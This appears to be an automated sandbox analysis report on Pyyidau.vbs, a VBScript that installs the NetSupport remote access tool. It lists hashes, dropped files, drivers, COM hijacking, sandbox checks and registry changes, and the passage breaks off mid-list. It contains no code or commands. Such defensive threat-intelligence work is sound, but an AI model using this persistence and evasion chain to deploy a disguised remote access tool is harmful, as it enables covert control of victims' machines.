Analysis
-
max time kernel
149s -
max time network
113s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-11-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
Pyyidau.vbs
Resource
win7-20241010-en
windows7-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
Pyyidau.vbs
Resource
win10v2004-20241007-en
windows10-2004-x64
29 signatures
150 seconds
Behavioral task
behavioral3
Sample
Pyyidau.vbs
Resource
win11-20241007-en
windows11-21h2-x64
28 signatures
150 seconds
General
-
Target
Pyyidau.vbs
-
Size
8.4MB
-
MD5
c1108260f7a287cb16f93c11a40fbf90
-
SHA1
8eab07aef27baae17d1ce013cce58b2b43dcaa1d
-
SHA256
484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c
-
SHA512
59d3023cc0287ff45894bbcce2175c8fda7a36b2f1687ab7b93fb49a578e38f874587bed0e3d69eff1a20deb4f20fc27c1155026bd962d007c9b0e8c028edc0c
-
SSDEEP
49152:1uld2u6UP5rpZxEeMuatPwmOI06dzq5kz9zV7AujEy4q7YcGqaLjt1yLQ+RZyBvd:+P5j
Malware Config
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Netsupport family
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2432 4460 cmd.exe 77 -
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 PID 4864 created 3344 4864 Pyyidau.vbs.exe 52 -
Blocklisted process makes network request 6 IoCs
flow pid Process 2 3788 WScript.exe 3 3788 WScript.exe 5 3788 WScript.exe 6 3788 WScript.exe 8 3268 msiexec.exe 9 3268 msiexec.exe -
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\nskbfltr.sys winst64.exe File created C:\Windows\system32\drivers\nskbfltr2.sys winst64.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\nskbfltr\ImagePath = "\\SystemRoot\\system32\\drivers\\nskbfltr.sys" MSI3BDE.tmp -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Executes dropped EXE 11 IoCs
pid Process 4864 Pyyidau.vbs.exe 4780 MSI32DC.tmp 1092 MSI371A.tmp 2792 checkdvd.exe 2444 MSI3BDE.tmp 4860 winst64.exe 2788 MSI3FF8.tmp 1324 client32.exe 3752 client32.exe 1780 pcicfgui_client.exe 3984 pcicfgui_client.exe -
Loads dropped DLL 64 IoCs
pid Process 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 4776 MsiExec.exe 1308 MsiExec.exe 1308 MsiExec.exe 1308 MsiExec.exe 1308 MsiExec.exe 4860 winst64.exe 2444 MSI3BDE.tmp 1308 MsiExec.exe 1308 MsiExec.exe 1308 MsiExec.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 1324 client32.exe 3752 client32.exe 3752 client32.exe 3752 client32.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: client32.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: client32.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "0" MSI3BDE.tmp -
Drops file in System32 directory 8 IoCs
description ioc Process File created C:\Windows\SysWOW64\pcimsg.dll MSI3BDE.tmp File opened for modification C:\Windows\SysWOW64\pcimsg.dll MSI3BDE.tmp File created C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 client32.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1780 pcicfgui_client.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\redbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-multibyte-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\video2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32Provider.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\Ozysbzxk_SW_U1.bin client32.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\TCCTL32.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nsmexec.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\bar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\cpu2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastChat.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-synch-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-console-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\CryptPak.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastImageAndText.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_up_grey.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nskbfltr2.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\WINSTALL.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nskbfltr.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\WdfCoInstaller01005.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\gdihook5.INF msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\DBI.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcisys.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\broken.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\computer2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspscr.cat msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-sysinfo-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-memory-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-interlocked-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIVDD.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSM.LIC msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\Ozysbzxk_HW_U1.bin client32.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\mfc100u.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-runtime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\msvcr100.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\printer2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-private-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\winst64.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\shfolder.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\amberbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIinv.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIhtmlgen.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\disk2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\header.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-handle-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\libcrypto-1_1.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\x64\gdihook5.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspowershell.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\Ozysbzxk_HF_U1.bin client32.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIIMAGE.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\x64\gdihook5.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\clhook4.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pscrinst64.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCICHEK.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\unknown.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\baseboard.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_down.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nskbfltr.inf msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\vccorlib140.dll msiexec.exe -
Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI2F46.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI368A.tmp msiexec.exe File opened for modification C:\Windows\setuperr.log MSI3BDE.tmp File opened for modification C:\Windows\Installer\MSI2DD3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F78.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3238.tmp msiexec.exe File created C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI3177.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3188.tmp msiexec.exe File created C:\Windows\Installer\e5827c7.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF331655FC39FD63A5.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI3105.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI325B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI35CD.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4CBD.tmp msiexec.exe File opened for modification C:\Windows\Installer\e5827c7.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI2F34.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI31A9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI324A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3FE8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2DE5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2DF6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2EF2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI354F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI36CA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI394D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F56.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F67.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3165.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFF744A3B5EDE8056E.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI3187.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4975A5457273D718.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI325A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2DE4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F89.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI30F5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3166.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F24.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI30E4.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI3BDE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI371A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4CDD.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F02.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F35.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI32AD.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3510.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI31C9.tmp msiexec.exe File opened for modification C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI44AC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2F79.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI30D3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI326C.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{CBB68368-7767-4CFF-B3E5-211488346702} msiexec.exe File opened for modification C:\Windows\Installer\MSI2F9A.tmp msiexec.exe File created C:\Windows\Installer\e5827cb.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI4CAC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3237.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3249.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI32DC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3FF8.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF43794F41D0E6CE3C.TMP msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI371A.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language checkdvd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI3BDE.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI3FF8.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pcicfgui_client.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Pyyidau.vbs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI32DC.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 client32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz client32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-11 = "Power saver" client32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ico\OpenWithList client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\OpenWithList client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-15 = "Balanced" client32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\MediaModes svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-13 = "High performance" client32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" client32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" client32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt client32.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\TELEPHONY\HANDOFFPRIORITIES\MEDIAMODES svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" cscript.exe Key created 